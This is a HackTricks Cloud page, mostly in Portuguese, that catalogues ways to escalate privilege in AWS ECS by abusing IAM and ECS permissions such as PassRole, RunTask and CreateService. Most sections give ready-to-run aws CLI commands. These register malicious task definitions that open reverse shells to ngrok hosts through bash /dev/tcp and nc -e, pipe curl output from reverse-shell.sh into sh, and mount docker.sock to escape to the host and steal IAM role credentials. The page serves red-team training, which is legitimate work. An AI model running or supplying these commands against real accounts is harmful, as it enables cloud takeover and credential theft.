AWS - ECS Privesc
Reading time: 11 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
ECS
Mais info sobre ECS em:
iam:PassRole
, ecs:RegisterTaskDefinition
, ecs:RunTask
Um atacante que abusa das permissões iam:PassRole
, ecs:RegisterTaskDefinition
e ecs:RunTask
no ECS pode gerar uma nova task definition com um container malicioso que rouba as credenciais de metadata e executá-la.
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"
# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
Impacto Potencial: Direct privesc to a different ECS role.
iam:PassRole
,ecs:RunTask
Um atacante que tem permissões iam:PassRole
e ecs:RunTask
pode iniciar uma nova task do ECS com execution role, task role e o command do container modificados. O comando CLI ecs run-task
contém a flag --overrides
que permite alterar em tempo de execução os valores executionRoleArn
, taskRoleArn
e o command
do container sem tocar na task definition.
As IAM roles especificadas em taskRoleArn
e executionRoleArn
devem confiar/permitir ser assumidas por ecs-tasks.amazonaws.com
na sua trust policy.
Além disso, o atacante precisa saber:
- Nome do cluster ECS
- Sub-rede da VPC
- Grupo de segurança (Se nenhum grupo de segurança for especificado, o padrão será usado)
- Nome e revisão da Task Definition
- Nome do Container
aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
No trecho de código acima um atacante sobrescreve apenas o valor de taskRoleArn
. No entanto, o atacante precisa da permissão iam:PassRole
sobre o taskRoleArn
especificado no comando e sobre o executionRoleArn
especificado na definição da task para que o ataque aconteça.
Se a IAM role que o atacante pode passar tiver privilégios suficientes para fazer pull da imagem no ECR e iniciar a ECS task (ecr:BatchCheckLayerAvailability
, ecr:GetDownloadUrlForLayer
,ecr:BatchGetImage
,ecr:GetAuthorizationToken
) então o atacante pode especificar a mesma IAM role para ambos executionRoleArn
e taskRoleArn
no comando ecs run-task
.
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
Impacto Potencial: Privesc direto para qualquer ECS task role.
iam:PassRole
, ecs:RegisterTaskDefinition
, ecs:StartTask
Assim como no exemplo anterior, um atacante que abusa das permissões iam:PassRole
, ecs:RegisterTaskDefinition
, ecs:StartTask
no ECS pode gerar uma nova definição de tarefa (task definition) com um contêiner malicioso que rouba as credenciais de metadados e executá-la.
No entanto, neste caso, é necessário que exista uma instância de container para executar a definição de tarefa maliciosa.
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>
# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
Potential Impact: Privesc direto para qualquer ECS role.
iam:PassRole
, ecs:RegisterTaskDefinition
, (ecs:UpdateService|ecs:CreateService)
Assim como no exemplo anterior, um atacante que abusa das permissões iam:PassRole
, ecs:RegisterTaskDefinition
, ecs:UpdateService
ou ecs:CreateService
no ECS pode gerar uma nova task definition com um container malicioso que rouba as credenciais de metadados e executá-la criando um novo service com pelo menos 1 task em execução.
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"
# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"
# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>
Impacto Potencial: Privesc direto para qualquer role do ECS.
iam:PassRole
, (ecs:UpdateService|ecs:CreateService)
Na verdade, apenas com essas permissões é possível usar overrides para executar comandos arbitrários em um container assumindo uma role arbitrária, com algo como:
aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
Impacto Potencial: Privesc direto para qualquer ECS role.
ecs:RegisterTaskDefinition
, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)
Este cenário é como os anteriores mas sem a permissão iam:PassRole
.
Ainda é interessante porque, se você conseguir executar um container arbitrário, mesmo sem role, você poderia run a privileged container to escape para o nó e steal the EC2 IAM role e os the other ECS containers roles que estão rodando no nó.
Você poderia até force other tasks to run inside the EC2 instance que você compromete para roubar suas credenciais (como discutido na Privesc to node section).
warning
Este ataque só é possível se o ECS cluster estiver usando EC2 instâncias e não Fargate.
printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json
printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json
aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2
# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
ecs:ExecuteCommand
, ecs:DescribeTasks,
(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)
Um atacante com os ecs:ExecuteCommand
, ecs:DescribeTasks
pode executar comandos dentro de um container em execução e exfiltrar a IAM role anexada a ele (você precisa das permissões de describe porque é necessário executar aws ecs execute-command
).\
No entanto, para fazer isso, a instância do container precisa estar executando o ExecuteCommand agent (o que por padrão não acontece).
Portanto, o atacante pode tentar:
- Tentar executar um comando em cada container em execução
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo " Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done
# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
- Se ele tiver
ecs:RunTask
, execute uma task comaws ecs run-task --enable-execute-command [...]
- Se ele tiver
ecs:StartTask
, inicie uma task comaws ecs start-task --enable-execute-command [...]
- Se ele tiver
ecs:CreateService
, crie um service comaws ecs create-service --enable-execute-command [...]
- Se ele tiver
ecs:UpdateService
, atualize um service comaws ecs update-service --enable-execute-command [...]
Você pode encontrar exemplos dessas opções nas seções anteriores de ECS privesc.
Impacto Potencial: Privesc para um role diferente anexado aos contêineres.
ssm:StartSession
Veja na página ssm privesc como você pode abusar desta permissão para privesc para ECS:
iam:PassRole
, ec2:RunInstances
Veja na página ec2 privesc como você pode abusar dessas permissões para privesc para ECS:
ecs:RegisterContainerInstance
, ecs:DeregisterContainerInstance
, ecs:StartTask
, iam:PassRole
Um atacante com essas permissões poderia potencialmente registrar uma instância EC2 em um cluster ECS e executar tasks nela. Isso poderia permitir que o atacante execute código arbitrário dentro do contexto das tasks do ECS.
- TODO: É possível registrar uma instância de uma conta AWS diferente para que as tasks sejam executadas em máquinas controladas pelo atacante??
ecs:CreateTaskSet
, ecs:UpdateServicePrimaryTaskSet
, ecs:DescribeTaskSets
note
TODO: Testar isto
Um atacante com as permissões ecs:CreateTaskSet
, ecs:UpdateServicePrimaryTaskSet
, e ecs:DescribeTaskSets
pode criar um task set malicioso para um service ECS existente e atualizar o primary task set. Isso permite que o atacante execute código arbitrário dentro do service.
# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json
aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json
# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"
# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
Impacto Potencial: Executar código arbitrário no serviço afetado, potencialmente impactando sua funcionalidade ou exfiltrando dados sensíveis.
Referências
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.